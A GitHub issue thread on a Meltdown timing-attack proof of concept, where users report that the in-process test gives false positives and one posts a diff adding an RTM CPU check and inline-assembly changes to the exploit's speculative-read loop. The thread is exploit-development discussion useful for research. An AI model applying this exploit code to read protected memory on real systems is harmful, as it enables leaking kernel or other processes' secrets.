gkaindl / meltdown-poc

A quick PoC to try out the "meltdown" timing attack.
154 stars 40 forks source link

The TEST_IN_OWN_PROCESS may not ok. #5

Open randomeval opened 6 years ago

randomeval commented 6 years ago

the TEST_PHRASE is in your own process address space, and can be read. So the TEST_IN_OWN_PROCESS will work without problem.

But if you change TEST_PHRASE to some address witch can't read, the result will be noise.

I use mmap and mprotect make address can't read, then It will not work.

#if TEST_IN_OWN_PROCESS
    static char* test = NULL;
    int n = strlen(TEST_PHRASE);
    test = (uint8_t *) mmap(NULL, n, PROT_READ|PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
    memcpy(test, TEST_PHRASE, n);
     // make array not readable.
     mprotect(test, n, PROT_NONE);

    start_addr = (unsigned long)test;
#else
......
pm-cz commented 6 years ago

I can confirm this issue. After preventing the unsupported instructions to be executed with cpu_has_rtm() test, I was able to compile and test this on other PCs, including an Atom one which is not vulnerable (tested with another meltdown implementation) and got false positive.

On the other hand, the TEST_IN_OWN_PROCESS set to 0 got random noise on all of my PCs regardless on the NUM_PROBES setting.

wlmnzf commented 6 years ago

@pm-cz Would you mind to share your code

pm-cz commented 6 years ago

@wlmnzf: OK, but as I said, even without the modification, the original code seems to be broken and on Skylake with external process using TEST_IN_OWN_PROCESS set to 0 fails to get anything reasonable. Partial solution is in #4, but just for specific use case (syscall table). I guess the #6 pull request may be fixing more, but I switched to https://github.com/paboldin/meltdown-exploit instead.

--- meltdown.c  2018-01-05 17:08:28.507444929 +0100
+++ meltdown-multi.c    2018-01-07 08:08:44.080168777 +0100
@@ -10,6 +10,7 @@
 #include <string.h>

 #include <sys/mman.h>
+#include <cpuid.h>

 #define NUM_PROBES 5
 #define TEST_IN_OWN_PROCESS 1
@@ -50,6 +51,18 @@

 #define __rtm_force_inline __attribute__((__always_inline__)) inline

+#define CPUID_RTM (1 << 11)
+
+static inline int cpu_has_rtm(void)
+{
+    if (__get_cpuid_max(0, NULL) >= 7) {
+        unsigned a, b, c, d;
+        __cpuid_count(7, 0, a, b, c, d);
+        return !!(b & CPUID_RTM);
+    }
+    return 0;
+}
+
 static __rtm_force_inline int _xbegin(void)
 {
    int ret = _XBEGIN_STARTED;
@@ -130,7 +143,7 @@
          flush(&buf[i * page_size]);
       }

-      if ((status = _xbegin()) == _XBEGIN_STARTED) {
+      if (!cpu_has_rtm() || ((status = _xbegin()) == _XBEGIN_STARTED)) {
          asm __volatile__ (
            "%=:                              \n"
            "xorq %%rax, %%rax                \n"
@@ -142,7 +155,9 @@
            :  [ptr] "r" (ptr), [buf] "r" (buf)
            :  "%rax", "%rbx");

-         _xend();
+         if (cpu_has_rtm()) {
+            _xend();
+         }
       } else {
          asm __volatile__ ("mfence\n" :::);
       }
@@ -213,6 +228,11 @@
          argv[0]);
       return 0;
    }
+
+   if (!cpu_has_rtm()) {
+      fprintf(stderr,"Without RTM the test in external process will probably not work\n");
+//      return 1;
+   } 

    start_addr = strtoul(argv[1], NULL, 16);
    len = strtoul(argv[2], NULL, 10);
wlmnzf commented 6 years ago

It works,Thank you! @pm-cz